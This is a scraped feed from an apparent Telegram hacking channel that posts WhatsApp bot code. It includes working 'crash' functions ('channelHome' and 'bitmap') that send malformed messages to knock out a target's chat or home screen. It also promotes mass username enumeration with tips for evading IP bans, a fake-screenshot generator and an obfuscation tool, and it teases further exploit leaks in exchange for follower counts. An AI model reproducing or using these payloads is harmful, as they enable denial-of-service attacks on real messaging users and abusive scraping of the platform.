I improved the function to use interactive buttons as sender so cta_url buttons can be shown againπ
Place the patchMessageBeforeSending in your makeWaSocket (like in the picture)
Code:
patchMessageBeforeSending: (msg) => {
function self(msg) {
const im =
msg?.interactiveMessage ||
msg?.message?.interactiveMessage ||
Object.values(msg || {}).find(v => v?.message?.interactiveMessage)?.message
?.interactiveMessage;
const c = !!im?.carouselMessage?.cards?.every(
i => i?.nativeFlowMessage?.buttons
);
if (!im?.nativeFlowMessage?.buttons && !c) return msg;
const obj = { name: "cta_url", buttonParamsJson: "" };
const ctaify = but => {
if (!Array.isArray(but)) return but;
return but.flatMap(b => {
if (!b?.buttonParamsJson) {
return [];
}
if (b?.name?.toLowerCase?.().includes("cta_url")) {
return [b];
}
return [obj, b];
});
};
if (im?.nativeFlowMessage?.buttons) {
im.nativeFlowMessage.buttons = ctaify(
im.nativeFlowMessage.buttons
);
}
if (c) {
for (const card of im.carouselMessage.cards) {
if (Array.isArray(card.nativeFlowMessage?.buttons)) {
card.nativeFlowMessage.buttons = ctaify(
card.nativeFlowMessage.buttons
);
}
}
}
return msg;
}
msg = self(msg)
return msg
},Please open Telegram to view this post
VIEW IN TELEGRAM
π₯°1 1
This media is not supported in your browser
VIEW IN TELEGRAM
Goofy ahhh crashesπ€«
Please open Telegram to view this post
VIEW IN TELEGRAM
Just added a new feature for the banncheckerπ· :
>Generate fake screenshot for your channels/groups
Command: ?? +xxxxxxxxxx
Bot: @projghostbot
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
π chat to home frezze (maybe first one)
Unfortunately, I currently have almost no time for WhatsApp. That's why there have been so few posts.π
Please open Telegram to view this post
VIEW IN TELEGRAM
271k.zip
1.7 MB
Because i forgot to update the web version pairing wasnt working for some of you guys. Here is the updated versionπ€
Whatsapp bot base (fix)
π Features:πΌ - slimπΌ - anti view onceπΌ - buttonsπΌ - poll menuπΌ - custom pairingπΌ - internal terminalπΌ - smart prebuild
By TsM SnΓΈwi?π₯
Please open Telegram to view this post
VIEW IN TELEGRAM
1000.txt
5.9 KB
Here are one thousand 5char telegram usernamesπ¦
Channel crash (home) will be leaked at 1k follows so share this to your friends ore groups/channels
Please open Telegram to view this post
VIEW IN TELEGRAM
All videos above are old and content may be outdatedπΈ
Please open Telegram to view this post
VIEW IN TELEGRAM
Crash home newsletter leak at 150 subscribers in this channel
share the link guys:
t.me/TheSatanicMirror
Telegram
π²βππ¬Ν’π β§ π
Ν’π¨ππΝ’ππ«βπ²
Bot & WhatsApps
All images shared in this channel are for visual purposes only. They are intended solely for illustrative use and do not represent any functional or operational aspects!
All phone numbers in the media belong to the channel admin
Β© 2021 tsm
All images shared in this channel are for visual purposes only. They are intended solely for illustrative use and do not represent any functional or operational aspects!
All phone numbers in the media belong to the channel admin
Β© 2021 tsm
π₯6
Lottie sticker edit got fully patched
They added the JWT signature proof that was missing before.
Without their private key we cant make top memes anymoreπ«‘
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Crash home via channelπ
Function used in this video:
async function channelHome(sock, target, count = 5) {
for (let x = 0; x < count; x++) {
sock.relayMessage(target, {
"messageContextInfo": {
"messageAssociation": {
"parentMessageKey": {"id": ""}
}
},
"extendedTextMessage": {}
},{})
await sleep(5000)
}
}Join so you dont miss any future updates
Next leak at 500 subsπ€
Please open Telegram to view this post
VIEW IN TELEGRAM
Made a func to toggle group historyπ
async function toggleGroupHistory(sock, jid, enable = true) {
if (sock && jid)
await sock.query({
tag: "iq",
attrs: {
type: "get",
to: "s.whatsapp.net",
xmlns: "w:mex"
},
content: [
{
tag: "query",
attrs: {
query_id: "24688994337458819"
},
content: Buffer.from(JSON.stringify({
variables: {
group_id: jid,
input: {
member_share_group_history_mode: enable ? "ALL_MEMBER_SHARE" : "ADMIN_SHARE"
}
}
}), "utf-8")
}
]
})
}Dont miss future updates and join our channel nowπ
t.me/TheSatanicMirror
Please open Telegram to view this post
VIEW IN TELEGRAM
π₯6 1
Updated Newsletter Metadataπ
async function newsletterMetadata(sock, key = "jid", type) {
const res = await sock.query({
tag: "iq",
attrs: {
id: sock.generateMessageTag(),
type: "get",
to: "s.whatsapp.net",
xmlns: "w:mex"
},
content: [
{
tag: "query",
attrs: {
query_id: "26099060629688646"
},
content: Buffer.from(JSON.stringify({
variables: {
fetch_creation_time: true,
fetch_full_image: true,
fetch_viewer_metadata: true,
input: {
key
type: type.toUpperCase()
}
}
}), "utf-8")
}
]
})
const raw = res.content?.[0]?.content
const json = JSON.parse(Buffer.from(raw.data || raw).toString("utf-8"))
return json.data?.xwa2_newsletter
}Please open Telegram to view this post
VIEW IN TELEGRAM
Leaking username checker at 500 subscribersπ€
Share the link to your friends and channels/groups to speed up the processπΈ
Link:
t.me/TheSatanicMirror
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
π²βππ¬Ν’π β§ π
Ν’π¨ππΝ’ππ«βπ²
Bot & WhatsApps
All images shared in this channel are for visual purposes only. They are intended solely for illustrative use and do not represent any functional or operational aspects!
All phone numbers in the media belong to the channel admin
Β© 2021 tsm
All images shared in this channel are for visual purposes only. They are intended solely for illustrative use and do not represent any functional or operational aspects!
All phone numbers in the media belong to the channel admin
Β© 2021 tsm
π5π₯3π1
multiUser.js
1.8 KB
Here is the BEST whatsapp username checkerπ
All the noobs are using the normal query that checks just one username each request..
Our function uses a query that can check up to 10 usernames each query. The funcs auto splits the username array in 10 usernames per request to boost it to the maximum limitπ
i recommend to use a vpn on the bot host if you check more then 50k in a day so you dont get ip bannedπ
Please open Telegram to view this post
VIEW IN TELEGRAM
π²βππ¬Ν’π β§ π
Ν’π¨ππΝ’ππ«βπ²
multiUser.js
Warning, dont spam to mutch (i got perma bot ban the number i checked around 500k usernames in 2-3 days)
Bannchecker updateπ :β‘οΈ Updated reasons fresh from meta insidersβ‘οΈ 100% real perma / review display
Bot:
@ProjGhostBot
Adding request review soon, follow channel for new informationπ
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
β‘οΈ β‘οΈ β‘οΈ β‘οΈ β‘οΈ β‘οΈ
New features:
π€ Show banned dateβ± π€ Show review dateβ± π€ Request reviewπ«
Bot:
Please open Telegram to view this post
VIEW IN TELEGRAM
Wazap guys,
i made some obfuscation tool some weeks ago. Its very strong and i will continue improving it. Should i add it in the telegram bot so you can obfuscate your code?π€ͺ
i made some obfuscation tool some weeks ago. Its very strong and i will continue improving it. Should i add it in the telegram bot so you can obfuscate your code?
Final Results
100%
Yesβ€οΈβπ₯
0%
NoβΉοΈ
π₯2
Freaky chat crash. Hope you like itπ
async function bitmap(sock, jid) {
return await sock.relayMessage(jid, {
"botForwardedMessage": {
"message": {
"richResponseMessage": {
"messageType": 1,
"submessages": [
{
"messageType": 8,
"latexMetadata": {
"text": "\0",
"expressions": [
{
"latexExpression": "\0",
"width": 99999999,
}
]
}
}
],
"contextInfo": {
"isForwarded": true,
"forwardOrigin": 4
}
}
}}
})
}Follow for more:
@TheSatanicMirror
Please open Telegram to view this post
VIEW IN TELEGRAM